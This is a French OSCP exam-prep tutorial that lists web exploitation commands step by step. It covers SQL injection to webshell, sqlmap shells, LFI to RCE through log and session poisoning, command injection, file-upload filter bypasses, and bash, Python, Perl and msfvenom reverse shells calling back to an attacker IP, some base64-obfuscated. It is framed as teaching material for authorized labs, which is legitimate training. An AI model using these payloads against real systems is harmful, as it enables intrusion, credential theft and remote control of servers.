ITSkillsCenter
Cybersécurité

Exploitation web pour l’OSCP : SQLi, LFI et RCE — commandes et payloads pas-à-pas

15 دقائق للقراءة

Avertissement légal : toutes les techniques présentées sont à appliquer exclusivement sur des applications web dans des environnements de test autorisés — labs OffSec PEN-200, machines CTF, environnements de staging avec autorisation écrite. Toute exploitation d’une application en production sans autorisation est illégale.

La phase d’exploitation web dans l’OSCP commence après l’énumération (Gobuster, Nikto, wfuzz). Ce tutoriel couvre les quatre vecteurs les plus fréquents dans le PEN-200 : injection SQL, Local File Inclusion, injection de commandes, et upload de fichier — de la détection au shell.

1. Reconnaissance web initiale

Étape 1 — Identifier la stack technologique

Pour identifier la stack technologique, voici les commandes :

# WhatWeb — détecte CMS, framework, serveur web, langages
whatweb http://10.10.10.x/
# WEBrick, WordPress 6.x, PHP 8.x, Apache 2.4...

# Wappalyzer (extension navigateur) — alternative graphique

# Headers HTTP — version serveur, cookies, framework
curl -I http://10.10.10.x/
# Server: Apache/2.4.41
# X-Powered-By: PHP/7.4.3
# Set-Cookie: PHPSESSID=...; path=/

Étape 2 — Énumération des répertoires et fichiers

Pour énumération des répertoires et fichiers, voici les commandes :

# Gobuster — répertoires et fichiers
gobuster dir -u http://10.10.10.x -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,txt,html,bak,zip,sql -t 40

# ffuf — plus rapide, filtrage avancé
ffuf -u http://10.10.10.x/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200,301,302,403 -t 50

# Nikto — scan de vulnérabilités web connues
nikto -h http://10.10.10.x/ -C all 2>/dev/null

Étape 3 — Énumération des paramètres et formulaires

Pour énumération des paramètres et formulaires, voici les commandes :

# Burp Suite — proxy et intruder (indispensable pour les exams avec appli web)
# Configurer Firefox : Proxy → Manual → 127.0.0.1:8080

# curl — tester manuellement les paramètres GET/POST
curl "http://10.10.10.x/page.php?id=1"
curl -X POST -d "username=admin&password=test" http://10.10.10.x/login.php -v

# wfuzz — fuzzing de paramètres
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  --hc 404 "http://10.10.10.x/page.php?FUZZ=test"

2. SQLi manuelle — détection et exploitation

Étape 1 — Détecter l’injection SQL

Pour détecter l’injection SQL, voici les commandes :

# Dans un paramètre GET/POST/Cookie, tester :
?id=1'          → erreur SQL ou comportement différent = potentiellement vulnérable
?id=1--         → commenter la suite de la requête
?id=1' OR '1'='1    → toujours vrai
?id=1' AND '1'='2   → toujours faux (page vide ou différente)

# Exemple avec curl
curl "http://10.10.10.x/item.php?id=1'"
# You have an error in your SQL syntax...  ← VULNÉRABLE
curl "http://10.10.10.x/item.php?id=1 AND 1=1-- -"  # page normale
curl "http://10.10.10.x/item.php?id=1 AND 1=2-- -"  # page vide

Étape 2 — Trouver le nombre de colonnes (ORDER BY)

Pour trouver le nombre de colonnes (ORDER BY), voici les commandes :

# Augmenter jusqu'à obtenir une erreur
?id=1 ORDER BY 1-- -   → OK
?id=1 ORDER BY 2-- -   → OK
?id=1 ORDER BY 3-- -   → OK
?id=1 ORDER BY 4-- -   → ERREUR → 3 colonnes dans la requête

Étape 3 — UNION SELECT pour extraire des données

Pour uNION SELECT pour extraire des données, voici les commandes :

# Trouver quelle colonne est affichée (visible dans la page)
?id=-1 UNION SELECT 1,2,3-- -
# Si "2" apparaît dans la page → la 2ème colonne est affichée

# Extraire la version et la base de données
?id=-1 UNION SELECT 1,version(),database()-- -
# → 10.3.27-MariaDB | webapp

# Lister toutes les bases de données
?id=-1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -

# Lister les tables de la base "webapp"
?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='webapp'-- -
# → users,products,orders

# Lister les colonnes de la table "users"
?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
# → id,username,password,email

# Extraire les données
?id=-1 UNION SELECT 1,group_concat(username,':',password SEPARATOR '\n'),3 FROM users-- -
# → admin:$2y$10$abc..., bob:plaintext123

Étape 4 — SQLi vers lecture de fichiers (si FILE privilege)

Pour sQLi vers lecture de fichiers (si FILE privilege), voici les commandes :

# Lire /etc/passwd
?id=-1 UNION SELECT 1,load_file('/etc/passwd'),3-- -

# Lire le code source de l'application
?id=-1 UNION SELECT 1,load_file('/var/www/html/config.php'),3-- -
# → credentials DB en clair dans le code source

Étape 5 — SQLi vers écriture de webshell (INTO OUTFILE)

Pour sQLi vers écriture de webshell (INTO OUTFILE), voici les commandes :

# Prérequis : FILE privilege + répertoire web writable
# Vérifier le chemin web
?id=-1 UNION SELECT 1,@@datadir,3-- -
# → /var/lib/mysql/

# Écrire un webshell PHP
?id=-1 UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -

# Vérifier et utiliser
curl "http://10.10.10.x/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data)

3. SQLmap — automatisation SQLi

SQLmap automatise la détection et l’exploitation des injections SQL. À utiliser après confirmation manuelle qu’un paramètre est vulnérable.

Étape 1 — Détection automatique

Pour détection automatique, voici les commandes :

# Paramètre GET
sqlmap -u "http://10.10.10.x/item.php?id=1" --dbs --batch

# Paramètre POST
sqlmap -u "http://10.10.10.x/login.php" \
  --data="username=admin&password=test" --dbs --batch

# Via un fichier de requête Burp (Request → Save item)
sqlmap -r request.txt --dbs --batch

# Options importantes :
# --batch    : répondre "yes" à toutes les questions automatiquement
# --dbs      : lister les bases de données
# --level=5  : tests plus agressifs (1-5)
# --risk=3   : risque d'erreur plus élevé (1-3)

Étape 2 — Extraire des données

Pour extraire des données, voici les commandes :

# Lister les tables d'une base
sqlmap -u "http://10.10.10.x/item.php?id=1" -D webapp --tables --batch

# Extraire le contenu d'une table
sqlmap -u "http://10.10.10.x/item.php?id=1" -D webapp -T users --dump --batch

# Extraire uniquement certaines colonnes
sqlmap -u "http://10.10.10.x/item.php?id=1" \
  -D webapp -T users -C username,password --dump --batch

Étape 3 — Shell via sqlmap

Pour shell via sqlmap, voici les commandes :

# Webshell interactif (si INTO OUTFILE est disponible)
sqlmap -u "http://10.10.10.x/item.php?id=1" --os-shell --batch
# sqlmap dépose automatiquement un webshell et ouvre un shell interactif

# Shell système via --os-cmd
sqlmap -u "http://10.10.10.x/item.php?id=1" --os-cmd="id" --batch

4. LFI — Local File Inclusion

Une LFI permet d’inclure un fichier arbitraire du serveur dans la réponse HTTP. Elle révèle des fichiers sensibles et peut mener à un RCE via plusieurs techniques.

Étape 1 — Détecter la LFI

Pour détecter la LFI, voici les commandes :

# Paramètre typique
http://10.10.10.x/page.php?file=about
http://10.10.10.x/index.php?page=home
http://10.10.10.x/view.php?path=docs/manual

# Tester avec /etc/passwd
curl "http://10.10.10.x/page.php?file=../../../../etc/passwd"
# root:x:0:0:root:/root:/bin/bash → VULNÉRABLE

# Path traversal variantes
curl "http://10.10.10.x/page.php?file=....//....//....//etc/passwd"
curl "http://10.10.10.x/page.php?file=%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"  # URL encoded
curl "http://10.10.10.x/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd"

Étape 2 — Fichiers intéressants à lire via LFI

Pour fichiers intéressants à lire via LFI, voici les commandes :

# Linux — fichiers sensibles
../../../../etc/passwd
../../../../etc/shadow                          # si www-data peut le lire
../../../../etc/ssh/sshd_config
../../../../home/user/.ssh/id_rsa              # clé SSH privée
../../../../var/www/html/config.php            # credentials DB
../../../../var/www/html/wp-config.php         # WordPress credentials
../../../../proc/self/environ                  # variables d'environnement
../../../../var/log/apache2/access.log         # log Apache (→ log poisoning)
../../../../var/log/nginx/access.log           # log Nginx
../../../../var/log/auth.log                   # SSH login attempts

# Windows — fichiers sensibles
..\..\..\..\Windows\System32\drivers\etc\hosts
..\..\..\..\Windows\win.ini
..\..\..\..\inetpub\wwwroot\web.config
..\..\..\..\xampp\htdocs\config.php

Étape 3 — Fuzzing LFI avec wfuzz

Pour fuzzing LFI avec wfuzz, voici les commandes :

wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
  --hc 404 --hl 0 \
  "http://10.10.10.x/page.php?file=FUZZ"

5. LFI vers RCE

Technique 1 — Log Poisoning (Apache/Nginx)

Concrètement, pour étape 1 — Vérifier que le log est lisible :

# Étape 1 — Vérifier que le log est lisible
curl "http://10.10.10.x/page.php?file=../../../../var/log/apache2/access.log"
# Si la réponse contient des lignes de log → lisible

# Étape 2 — Injecter un webshell dans le User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://10.10.10.x/
# Le User-Agent est logué dans access.log

# Étape 3 — Inclure le log avec le paramètre cmd
curl "http://10.10.10.x/page.php?file=../../../../var/log/apache2/access.log&cmd=id"
# uid=33(www-data)...

Technique 2 — PHP Wrappers

Concrètement, pour lire du code source PHP encodé en base64 (évite l’exécution) :

# Lire du code source PHP encodé en base64 (évite l'exécution)
curl "http://10.10.10.x/page.php?file=php://filter/convert.base64-encode/resource=config.php"
# → PD9waHAgJGRiX3Bhc3M9InN1cGVyc2VjcmV0IjsgPz4=
echo "PD9waHAgJGRiX3Bhc3M9InN1cGVyc2VjcmV0IjsgPz4=" | base64 -d
# → <?php $db_pass="supersecret"; ?>

# Exécuter du code PHP via data:// (si allow_url_include = On)
curl "http://10.10.10.x/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"
# PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ = <?php system($_GET['cmd']); ?>
curl "http://10.10.10.x/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id"

Technique 3 — PHP Session Poisoning

Concrètement, pour étape 1 — Vérifier l’emplacement des sessions PHP :

# Étape 1 — Vérifier l'emplacement des sessions PHP
curl "http://10.10.10.x/page.php?file=../../../../etc/php/7.4/apache2/php.ini" | grep session.save_path
# session.save_path = "/var/lib/php/sessions"

# Étape 2 — Injecter du PHP dans une variable de session
# Se connecter avec un username qui contient du code PHP
curl -v -b "PHPSESSID=abc123" \
  -X POST -d "username=<?php system(\$_GET['cmd']); ?>" \
  http://10.10.10.x/login.php

# Étape 3 — Inclure le fichier de session
curl "http://10.10.10.x/page.php?file=../../../../var/lib/php/sessions/sess_abc123&cmd=id"

Technique 4 — /proc/self/fd poisoning

Concrètement, pour injecter PHP dans les headers et inclure le FD du log :

# Injecter PHP dans les headers et inclure le FD du log
# Généralement fd/2 (stderr) ou fd/1 (stdout) contient les logs
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://10.10.10.x/
for fd in $(seq 0 20); do
  echo "Testing fd $fd:"
  curl -s "http://10.10.10.x/page.php?file=/proc/self/fd/$fd&cmd=id" | grep "uid="
done

6. Command Injection

Une application qui passe une entrée utilisateur directement à un appel système (system(), exec(), popen()) sans sanitisation est vulnérable à l’injection de commandes.

Étape 1 — Détecter l’injection de commandes

Pour détecter l’injection de commandes, voici les commandes :

# Contexte typique : outil "ping" ou "nslookup" dans une appli web
# Formulaire : "Entrez une IP à pinger"
# Valeur soumise : 127.0.0.1

# Tester les séparateurs de commandes
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1 || id
`id`          # backticks
$(id)         # command substitution

# URL encode si nécessaire
curl "http://10.10.10.x/ping.php?ip=127.0.0.1%3Bid"  # ; = %3B
curl "http://10.10.10.x/ping.php?ip=127.0.0.1%26%26id"  # && = %26%26

Étape 2 — Confirmer et obtenir un reverse shell

Pour confirmer et obtenir un reverse shell, voici les commandes :

# Confirmer avec une requête DNS ou HTTP vers votre serveur
# Sur Kali — tcpdump pour capter le ping ICMP
sudo tcpdump -i tun0 icmp
curl "http://10.10.10.x/ping.php?ip=127.0.0.1;ping -c 1 10.10.14.x"

# Reverse shell bash
curl "http://10.10.10.x/ping.php?ip=127.0.0.1;bash -i >& /dev/tcp/10.10.14.x/4444 0>&1"

# URL-encoded
curl "http://10.10.10.x/ping.php" \
  --data-urlencode "ip=127.0.0.1;bash -i >& /dev/tcp/10.10.14.x/4444 0>&1"

Contournement des filtres courants

Concrètement, pour filtre sur les commandes → rotation de base64 :

# Filtre sur les espaces → utiliser $IFS ou {,}
cat${IFS}/etc/passwd
{cat,/etc/passwd}

# Filtre sur les slash → utiliser $HOME
echo${IFS}$HOME

# Filtre sur les commandes → rotation de base64
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC54LzQ0NDQgMD4mMQ==" | base64 -d | bash
# = bash -i >& /dev/tcp/10.10.14.x/4444 0>&1

7. File Upload — bypass de filtres

Les applications qui permettent l’upload de fichiers sans validation stricte du type peuvent être exploitées pour déposer un webshell.

Étape 1 — Tester l’upload basique

Pour tester l’upload basique, voici les commandes :

# Créer un webshell PHP minimal
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Uploader et noter l'URL de stockage
# Tester : http://10.10.10.x/uploads/shell.php?cmd=id

Étape 2 — Bypass de filtre sur l’extension

Pour bypass de filtre sur l’extension, voici les commandes :

# Extensions PHP alternatives selon la configuration du serveur
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.pht
shell.shtml

# Double extension
shell.php.jpg
shell.jpg.php

# Case sensitivity
shell.PHP
shell.PhP

# Null byte (anciennes versions PHP)
shell.php%00.jpg
shell.php\x00.jpg

Étape 3 — Bypass du filtre MIME type (Content-Type)

Pour bypass du filtre MIME type (Content-Type), voici les commandes :

# Intercepter l'upload avec Burp Suite
# Modifier le Content-Type dans la requête HTTP
# Changer : application/x-php → image/jpeg

# Avec curl — forcer le content-type image
curl -X POST http://10.10.10.x/upload.php \
  -F "file=@shell.php;type=image/jpeg" \
  -b "PHPSESSID=votre_session"

Étape 4 — Bypass du filtre sur les magic bytes

Pour bypass du filtre sur les magic bytes, voici les commandes :

# Ajouter les magic bytes d'une image JPEG en tête du fichier PHP
# JPEG magic bytes : FF D8 FF E0
printf '\xff\xd8\xff\xe0' > shell_img.php
echo '<?php system($_GET["cmd"]); ?>' >> shell_img.php

# Vérifier
file shell_img.php
# shell_img.php: JPEG image data...  ← bypass du contrôle file type

Étape 5 — Webshell dans les métadonnées d’image (exiftool)

Pour webshell dans les métadonnées d’image (exiftool), voici les commandes :

# Injecter du PHP dans les métadonnées d'une vraie image
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell_meta.jpg

# Si le serveur renomme en .jpg mais l'exécute via include()
# http://10.10.10.x/view.php?file=uploads/shell_meta.jpg&cmd=id

Étape 6 — Upload de .htaccess pour forcer l’exécution PHP

Pour upload de .htaccess pour forcer l’exécution PHP, voici les commandes :

# Si le répertoire d'upload accepte un .htaccess
echo 'AddType application/x-httpd-php .jpg' > .htaccess
# Uploader .htaccess dans le répertoire d'upload
# Ensuite uploader shell.jpg (avec code PHP dedans)
# Le serveur exécutera shell.jpg comme du PHP

8. Reverse shells web

Stabiliser un shell www-data après obtention initiale

Sur Kali — listener :

# Sur Kali — listener
nc -lvnp 4444

# Payload dans le webshell ou la LFI
bash -i >& /dev/tcp/10.10.14.x/4444 0>&1

# Reverse shell Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.x",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Reverse shell Perl
perl -e 'use Socket;$i="10.10.14.x";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Stabiliser le shell (TTY complet)

Sur le shell nc obtenu — étape 1 (spawner un PTY) :

# Sur le shell nc obtenu — étape 1 (spawner un PTY)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# ou
script /dev/null -c bash

# Étape 2 — background + config terminal
# Ctrl+Z (met le shell nc en background)
stty raw -echo; fg
# Appuyer Entrée deux fois si besoin

# Étape 3 — corriger la taille du terminal
export TERM=xterm
export SHELL=/bin/bash
stty rows 38 cols 116  # adapter à votre terminal

Reverse shells Windows via webshell ASPX

Concrètement, pour générer un webshell ASPX :

# Générer un webshell ASPX
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 \
  -f aspx -o shell.aspx

# Uploader sur le serveur IIS → http://10.10.10.x/shell.aspx
# Sur Kali
nc -lvnp 4444

Reverse shell PHP URL-encoded (pour injection via LFI)

Concrètement, pour version base64 pour éviter les mauvais caractères :

# Version base64 pour éviter les mauvais caractères
php_shell='<?php system($_GET["cmd"]); ?>'
echo "$php_shell" | base64
# PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+

# Via data:// wrapper
curl "http://10.10.10.x/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id"

9. Checklist exam exploitation web

# Vérification Outils Priorité
1 Identifier la stack (CMS, framework, langage) whatweb, curl -I, Wappalyzer Haute
2 Énumérer les répertoires gobuster, ffuf Haute
3 Identifier les formulaires et paramètres Burp Suite, wfuzz Haute
4 Tester SQLi sur chaque paramètre Tests manuels + sqlmap Haute
5 Tester LFI sur les paramètres file/page/path curl, wfuzz LFI wordlist Haute
6 LFI → log poisoning si logs lisibles curl -A, access.log Moyenne
7 Tester command injection sur les outils réseau Séparateurs ; && | || Haute
8 File upload — bypass extension et MIME Burp Intercept, extensions PHP alternatives Haute
9 Nikto — vulnérabilités connues du serveur nikto -h Basse (automatique)
10 Stabiliser le shell obtenu python3 pty.spawn + stty raw Immédiate après shell

Payloads de référence rapide

Technique Payload de test rapide
SQLi détection ' puis ' OR '1'='1'-- -
LFI basique ../../../../etc/passwd
PHP source via wrapper php://filter/convert.base64-encode/resource=index
Command injection ; id puis ; ping -c 1 10.10.14.x
Reverse shell bash bash -i >& /dev/tcp/10.10.14.x/4444 0>&1
Webshell PHP minimal <?php system($_GET["cmd"]); ?>

Ressources et références


Prochaines étapes

Besoin d'un site web ?

Confiez-nous la Création de Votre Site Web

Site vitrine, e-commerce ou application web — nous transformons votre vision en réalité digitale. Accompagnement personnalisé de A à Z.

À partir de 250.000 FCFA
Parlons de Votre Projet
Publicité